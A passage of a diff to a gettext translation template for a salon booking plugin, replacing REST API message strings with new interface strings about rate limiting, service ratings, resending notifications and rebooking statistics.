build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:495\n-msgid \"The booking number.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:163\n+msgid \"Rate Limiting\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:199\n+msgid \"Rate limiting is active\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:209\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:209\n+msgid \"Rate limiting is disabled\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:165\n+msgid \"\"\n+\"Rate limiting prevents brute force attacks by limiting the number of booking \"\n+\"attempts from the same IP address. This adds an extra layer of protection \"\n+\"beyond reCAPTCHA.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:493, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:503, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:512\n-msgid \"The from date for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:140\n+msgid \"Rate our service (required)\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:502, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:521\n-msgid \"The days of week for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:62\n+msgid \"Rate us!\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525\n-msgid \"The number day of week for the resource.\"\n+#. 1: customer name, 2: date time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:408\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:408\n+#, php-format\n+msgid \"Rated by %1$s on %2$s\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FREST_Controller.php:55, src\u002FSLB_API\u002FController\u002FREST_Controller.php:75, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:70\n-msgid \"Upload image error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:338\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:338\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitComments.php:32\n+msgid \"Rating\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FREST_Controller.php:178, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:173\n-msgid \"Sorry, you cannot list resources.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:7\n+msgid \"Re-send email notification to \"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FREST_Controller.php:196, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:196, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:196, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:196, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191\n-msgid \"Sorry, you cannot view resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking_actions.php:23\n+msgid \"Re-send payment link\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:285, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:283\n-msgid \"Save category error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:841\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:857\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:841\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:857\n+msgid \"Read only field\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:33, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:32\n-msgid \"Type of services (all, primary or secondary).\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:63\n+msgid \"READ THE FULL REVIEW\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:139, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139\n-msgid \"Limit results.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:176\n+msgid \"Rebooking Rate (60d)\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:531, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485\n-msgid \"The price for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:112\n+msgid \"Rebooking window in days (e.g., 30, 60, 90).\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:547, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, 